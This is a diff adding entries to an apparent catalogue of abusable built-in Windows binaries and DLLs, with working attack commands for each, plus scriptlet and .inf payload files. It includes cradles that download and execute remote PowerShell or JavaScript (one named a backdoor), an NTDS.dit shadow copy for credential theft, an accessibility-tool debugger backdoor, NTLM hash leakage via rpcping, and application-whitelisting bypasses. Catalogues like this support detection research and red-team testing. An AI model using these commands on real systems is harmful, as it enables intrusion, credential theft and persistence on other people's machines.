+  - C:\Windows\SysWOW64\replace.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/elceef/status/986334113941655553
+  - https://twitter.com/elceef/status/986842299861782529
+Notes: Thanks to elceef - @elceef
+

OSBinaries/Robocopy.yml

@@ -0,0 +1,20 @@
+---
+Name: Robocopy.exe
+Description: Copy
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Robocopy.exe C:\SourceFolder C:\DestFolder
+    Description: Copy the entire contents of the SourceFolder to the DestFolder.
+  - Command: Robocopy.exe \\SERVER\SourceFolder C:\DestFolder
+    Description: Copy the entire contents of the SourceFolder to the DestFolder.
+Full Path:
+  - c:\windows\system32\binary.exe
+  - c:\windows\sysWOW64\binary.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://social.technet.microsoft.com/wiki/contents/articles/1073.robocopy-and-a-few-examples.aspx
+Notes: Thanks to Name of guy - @twitterhandle
+

OSBinaries/Rpcping.yml

@@ -0,0 +1,25 @@
+---
+Name: Rpcping.exe
+Description: Credentials
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rpcping -s 127.0.0.1 -t ncacn_np
+    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
+  - Command: rpcping -s 192.168.1.10 -ncacn_np
+    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
+  - Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
+    Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
+Full Path:
+  - C:\Windows\System32\rpcping.exe
+  - C:\Windows\SysWOW64\rpcping.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/subtee/status/872797890539913216
+  - https://github.com/vysec/RedTips
+  - https://twitter.com/vysecurity/status/974806438316072960
+  - https://twitter.com/vysecurity/status/873181705024266241
+Notes: Thanks to Casey Smith - @subtee, Vincent Yiu - @vysecurity
+

OSBinaries/Rundll32.yml

@@ -0,0 +1,32 @@
+---
+Name: Rundll32.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe AllTheThingsx64,EntryPoint
+    Description: Example command. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
+  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
+    Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
+  - Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
+    Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
+  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
+    Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
+  - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
+    Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
+  - Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
+    Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
+Full Path:
+  - C:\Windows\System32\rundll32.exe
+  - C:\Windows\SysWOW64\rundll32.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
+  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
+  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
+  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Notes: Thanks to Casey Smith - @subtee
+

OSBinaries/Runonce.yml

@@ -0,0 +1,20 @@
+---
+Name: Runonce.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Runonce.exe /AlternateShellStartup
+    Description: Executes a Run Once Task that has been configured in the registry.
+Full Path:
+  - c:\windows\system32\runonce.exe
+  - c:\windows\sysWOW64\runonce.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/990717080805789697
+  - https://cmatskas.com/configure-a-runonce-task-on-windows/
+Notes: |
+    Thanks to Pierre-Alexandre Braeken - @pabraeken
+    Requires Administrative access.

OSBinaries/Runscripthelper.yml

@@ -0,0 +1,17 @@
+---
+Name: Runscripthelper.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
+    Description: Execute the PowerShell script named test.txt.
+Full Path:
+  - 'C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe    '
+  - 'C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe     '
+Code Sample: []
+Detection: []
+Resources:
+  - https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
+Notes: Thanks to Matt Graeber - @mattifestation

OSBinaries/Sc.yml

@@ -0,0 +1,19 @@
+---
+Name: SC.exe
+Description: Execute, Read ADS, Create Service, Start Service
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: |
+          sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
+          sc start evilservice
+    Description: ''
+Full Path:
+  - C:\Windows\System32\sc.exe
+  - C:\Windows\SysWOW64\sc.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+Notes: Thanks to Oddvar Moe - @oddvarmoe

OSBinaries/Scriptrunner.yml

@@ -0,0 +1,21 @@
+---
+Name: Scriptrunner.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Scriptrunner.exe -appvscript calc.exe
+    Description: Execute calc.exe.
+  - Command: ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
+    Description: Execute the calc.cmd script on the remote share.
+Full Path:
+  - c:\windows\system32\scriptrunner.exe
+  - c:\windows\sysWOW64\scriptrunner.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/KyleHanslovan/status/914800377580503040
+  - https://twitter.com/NickTyrer/status/914234924655312896
+  - https://github.com/MoooKitty/Code-Execution
+Notes: Thanks to Nick Tyrer - @NickTyrer

OSBinaries/Syncappvpublishingserver.yml

@@ -0,0 +1,16 @@
+---
+Name: SyncAppvPublishingServer.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
+    Description: Example command on how inject Powershell code into the process
+Full Path:
+  - C:\Windows\System32\SyncAppvPublishingServer.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/monoxgas/status/895045566090010624
+Notes: Thanks to Nick Landers - @monoxgas

OSBinaries/Wab.yml

@@ -0,0 +1,20 @@
+---
+Name: Wab.exe
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: Wab.exe
+    Description: Loads a DLL configured in the registry under HKLM.
+Full Path:
+  - 'C:\Program Files\Windows Mail\wab.exe    '
+  - 'C:\Program Files (x86)\Windows Mail\wab.exe    '
+Code Sample: []
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
+  - https://twitter.com/Hexacorn/status/991447379864932352
+Notes: |
+    Thanks to Adam - @Hexacorn
+    Requires registry changes, Requires Administrative Access

OSBinaries/Wmic.yml

@@ -0,0 +1,46 @@
+---
+Name: WMIC.exe
+Description: Reconnaissance, Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: wmic.exe process call create calc
+    Description: Execute calc.exe.
+  - Command: wmic.exe process call create "c:\ads\file.txt:program.exe"
+    Description: Execute a .EXE file stored as an Alternate Data Stream (ADS).
+  - Command: wmic.exe useraccount get /ALL
+    Description: List the user accounts on the machine.
+  - Command: wmic.exe process get caption,executablepath,commandline
+    Description: Gets the command line used to execute a running program.
+  - Command: wmic.exe qfe get description,installedOn /format:csv
+    Description: Gets a list of installed Windows updates.
+  - Command: wmic.exe /node:"192.168.0.1" service where (caption like "%sql server (%")
+    Description: Check to see if the target system is running SQL.
+  - Command: get-wmiobject –class "win32_share" –namespace "root\CIMV2" –computer "targetname"
+    Description: Use the PowerShell cmdlet to list the shares on a remote server.
+  - Command: wmic.exe /user:<username> /password:<password> /node:<computer_name> process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
+    Description: Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.
+  - Command: wmic.exe /node:"192.168.0.1" process call create "evil.exe"
+    Description: Execute evil.exe on the remote system.
+  - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"
+    Description: Create a scheduled execution of C:\GoogleUpdate.exe to run at 9pm.
+  - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
+    Description: Create a volume shadow copy of NTDS.dit that can be copied.
+  - Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
+    Description: Execute a script contained in the target .XSL file hosted on a remote server.
+  - Command: wmic.exe os get /format:"MYXSLFILE.xsl"
+    Description: Executes JScript or VBScript embedded in the target XSL stylesheet.
+  - Command: wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
+    Description: Executes JScript or VBScript embedded in the target remote XSL stylsheet.
+
+Full Path:
+  - c:\windows\system32\wbem\wmic.exe
+  - c:\windows\sysWOW64\wbem\wmic.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
+  - https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
+  - https://twitter.com/subTee/status/986234811944648707
+Notes: Thanks to Casey Smith - @subtee

OSBinaries/Wscript.yml

@@ -0,0 +1,17 @@
+---
+Name: Wscript.exe
+Description: Execute, Read ADS
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: wscript c:\ads\file.txt:script.vbs
+    Description: Executes the .VBS script stored as an Alternate Data Stream (ADS).
+Full Path:
+  - c:\windows\system32\wscript.exe
+  - c:\windows\sysWOW64\wscript.exe
+Code Sample: []
+Detection: []
+Resources:
+  - '?'
+Notes: Thanks to ?

OSBinaries/Xwizard.yml

@@ -0,0 +1,21 @@
+---
+Name: Xwizard.exe
+Description: DLL hijack, Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: xwizard.exe
+    Description: Xwizard.exe will load a .DLL file located in the same directory (DLL Hijack) named xwizards.dll.
+  - Command: xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
+    Description: Xwizard.exe running a custom class that has been added to the registry.
+Full Path:
+  - c:\windows\system32\xwizard.exe
+  - c:\windows\sysWOW32\xwizard.exe
+Code Sample: []
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
+  - https://www.youtube.com/watch?v=LwDHX7DVHWU
+  - https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
+Notes: Thanks to Adam - @Hexacorn, Nick Tyrer - @nicktyrer

OSLibraries/Advpack.yml

@@ -0,0 +1,30 @@
+---
+Name: Advpack.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe advpack.dll,LaunchINFSection c:\\test.inf,DefaultInstall_SingleUser,1,
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).
+  - Command: rundll32.exe advpack.dll,LaunchINFSection test.inf,,1,
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).
+  - Command: rundll32.exe Advpack.dll,RegisterOCX calc.exe
+    Description: Launch executable by calling the RegisterOCX function.
+  - Command: rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
+    Description: Launch executable by calling the RegisterOCX function.
+  - Command: rundll32.exe Advpack.dll,RegisterOCX test.dll
+    Description: Launch a DLL payload by calling the RegisterOCX function.
+Full Path:
+  - c:\windows\system32\advpack.dll
+  - c:\windows\sysWOW64\advpack.dll
+Code Sample:
+  - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf
+  - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
+Detection: []
+Resources:
+  - https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
+  - https://twitter.com/ItsReallyNick/status/967859147977850880
+  - https://twitter.com/bohops/status/974497123101179904
+  - https://twitter.com/moriarty_meng/status/977848311603380224
+Notes: Thanks to Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL), Moriarty @moriarty_meng (RegisterOCX - Cmd)

OSLibraries/Ieadvpack.yml

@@ -0,0 +1,28 @@
+---
+Name: Ieadvpack.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe IEAdvpack.dll,LaunchINFSection c:\\test.inf,DefaultInstall_SingleUser,1,
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified).
+  - Command: rundll32.exe IEAdvpack.dll,LaunchINFSection test.inf,,1,
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied).
+  - Command: rundll32.exe IEAdvpack.dll,RegisterOCX calc.exe
+    Description: Launch executable by calling the RegisterOCX function.
+  - Command: rundll32.exe IEAdvpack.dll,RegisterOCX test.dll
+    Description: Launch a DLL payload by calling the RegisterOCX function.
+Full Path:
+  - c:\windows\system32\ieadvpack.dll
+  - c:\windows\sysWOW64\ieadvpack.dll
+Code Sample:
+  - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf
+  - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/991695411902599168
+  - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
+  - https://twitter.com/0rbz_/status/974472392012689408
+Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (RegisterOCX - Cmd), Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL)
+

OSLibraries/Ieframe.yml

@@ -0,0 +1,22 @@
+---
+Name: Ieframe.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
+    Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
+  - Command: rundll32.exe ieframe.dll,OpenURL c:\\test\\calc-url-file.zz
+    Description: Renamed URL file.
+Full Path:
+  - c:\windows\system32\Ieframe.dll
+  - c:\windows\sysWOW64\Ieframe.dll
+Code Sample:
+  - https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
+  - https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
+  - https://twitter.com/bohops/status/997690405092290561
+Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops

OSLibraries/Mshtml.yml

@@ -0,0 +1,17 @@
+---
+Name: Mshtml.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
+    Description: Invoke an HTML Application. Note - Pops a security warning and a print dialogue box.
+Full Path:
+  - c:\windows\system32\Mshtml.dll
+  - c:\windows\sysWOW64\Mshtml.dll
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/998567549670477824
+Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken

OSLibraries/Payload/Advpack.inf

@@ -0,0 +1,14 @@
+[version]
+Signature=$chicago$
+AdvancedINF=2.5
+
+[DefaultInstall_SingleUser]
+UnRegisterOCXs=UnRegisterOCXSection
+
+[UnRegisterOCXSection]
+%11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
+
+[Strings]
+AppAct = "SOFTWARE\Microsoft\Connection Manager"
+ServiceName="Yay"
+ShortSvcName="Yay"

OSLibraries/Payload/Advpack_calc.sct

@@ -0,0 +1,44 @@
+<?XML version="1.0"?>
+<scriptlet>
+
+<registration
+    description="Bandit"
+    progid="Bandit"
+    version="1.00"
+    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
+	>
+
+	<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+	<!-- DFIR -->
+	<!--		.sct files are downloaded and executed from a path like this -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+
+
+	<!-- Proof Of Concept - Casey Smith @subTee --> 
+        <!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->
+	<script language="JScript">
+		<![CDATA[
+
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+
+		]]>
+	</script>
+</registration>
+
+<public>
+    <method name="Exec"></method>
+</public>
+<script language="JScript">
+<![CDATA[
+
+	function Exec()
+	{
+		var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
+	}
+
+]]>
+</script>
+
+</scriptlet>

OSLibraries/Payload/Ieadvpack.inf

@@ -0,0 +1,14 @@
+[version]
+Signature=$chicago$
+AdvancedINF=2.5
+
+[DefaultInstall_SingleUser]
+UnRegisterOCXs=UnRegisterOCXSection
+
+[UnRegisterOCXSection]
+%11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct
+
+[Strings]
+AppAct = "SOFTWARE\Microsoft\Connection Manager"
+ServiceName="Yay"
+ShortSvcName="Yay"

OSLibraries/Payload/Ieadvpack_calc.sct

@@ -0,0 +1,44 @@
+<?XML version="1.0"?>
+<scriptlet>
+
+<registration
+    description="Bandit"
+    progid="Bandit"
+    version="1.00"
+    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
+	>
+
+	<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+	<!-- DFIR -->
+	<!--		.sct files are downloaded and executed from a path like this -->
+	<!-- Though, the name and extension are arbitary.. -->
+	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
+	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
+
+
+	<!-- Proof Of Concept - Casey Smith @subTee --> 
+        <!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->
+	<script language="JScript">
+		<![CDATA[
+
+			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
+
+		]]>
+	</script>
+</registration>
+
+<public>
+    <method name="Exec"></method>
+</public>
+<script language="JScript">
+<![CDATA[
+
+	function Exec()
+	{
+		var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
+	}
+
+]]>
+</script>
+
+</scriptlet>

OSLibraries/Pcwutl.yml

@@ -0,0 +1,17 @@
+---
+Name: Pcwutl.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe pcwutl.dll,LaunchApplication calc.exe
+    Description: Launch executable by calling the LaunchApplication function.
+Full Path:
+  - c:\windows\system32\Pcwutl.dll
+  - c:\windows\sysWOW64\Pcwutl.dll
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/harr0ey/status/989617817849876488
+Notes: Thanks to Matt harr0ey - @harr0ey

OSLibraries/Setupapi.yml

@@ -0,0 +1,25 @@
+---
+Name: Setupapi.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32 setupapi,InstallHinfSection DefaultInstall 132 c:\temp\calc.inf
+    Description: Launch an executable file via the InstallHinfSection function and .inf file section directive.
+  - Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\shady.inf
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive.
+Full Path:
+  - c:\windows\system32\Setupapi.dll
+  - c:\windows\sysWOW64\Setupapi.dll
+Code Sample:
+  - https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf
+  - https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct
+  - https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/994742106852941825
+  - https://twitter.com/subTee/status/951115319040356352
+  - https://twitter.com/KyleHanslovan/status/911997635455852544
+  - https://github.com/huntresslabs/evading-autoruns
+Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Executable), Kyle Hanslovan - @KyleHanslovan (COM Scriptlet), Huntress Labs - @HuntressLabs (COM Scriptlet), Casey Smith - @subTee (COM Scriptlet)

OSLibraries/Shdocvw.yml

@@ -0,0 +1,22 @@
+---
+Name: Shdocvw.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
+    Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.
+  - Command: rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.zz"
+    Description: Renamed URL file.
+Full Path:
+  - c:\windows\system32\Shdocvw.dll
+  - c:\windows\sysWOW64\Shdocvw.dll
+Code Sample:
+  - https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url
+Detection: []
+Resources:
+  - http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
+  - https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
+  - https://twitter.com/bohops/status/997690405092290561
+Notes: Thanks to Adam - @hexacorn, Jimmy - @bohops

OSLibraries/Shell32.yml

@@ -0,0 +1,24 @@
+---
+Name: Shell32.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32.exe shell32.dll,Control_RunDLL payload.dll
+    Description: Launch DLL payload.
+  - Command: rundll32.exe shell32.dll,ShellExec_RunDLL beacon.exe
+    Description: Launch executable payload.
+  - Command: rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c echo hi"
+    Description: Launch executable payload with arguments.
+Full Path:
+  - c:\windows\system32\shell32.dll
+  - c:\windows\sysWOW64\shell32.dll
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/Hexacorn/status/885258886428725250
+  - https://twitter.com/pabraeken/status/991768766898941953
+  - https://twitter.com/mattifestation/status/776574940128485376
+  - https://twitter.com/KyleHanslovan/status/905189665120149506
+Notes: Thanks to Adam - @hexacorn (Control_RunDLL), Pierre-Alexandre Braeken - @pabraeken (ShellExec_RunDLL), Matt Graeber - @mattifestation (ShellExec_RunDLL), Kyle Hanslovan - @KyleHanslovan (ShellExec_RunDLL)

OSLibraries/Syssetup.yml

@@ -0,0 +1,24 @@
+---
+Name: Syssetup.dll
+Description: Execute
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\calc.INF
+    Description: Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.
+  - Command: rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\\test\\shady.inf
+    Description: Remote fetch and execute a COM Scriptlet by calling an information file directive.
+Full Path:
+  - c:\windows\system32\Syssetup.dll
+  - c:\windows\sysWOW64\Syssetup.dll
+Code Sample:
+  - https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf
+  - https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct
+  - https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf
+Detection: []
+Resources:
+  - https://twitter.com/pabraeken/status/994392481927258113
+  - https://twitter.com/harr0ey/status/975350238184697857
+  - https://twitter.com/bohops/status/975549525938135040
+Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Execute), Matt harr0ey - @harr0ey (Execute), Jimmy - @bohops (COM Scriptlet)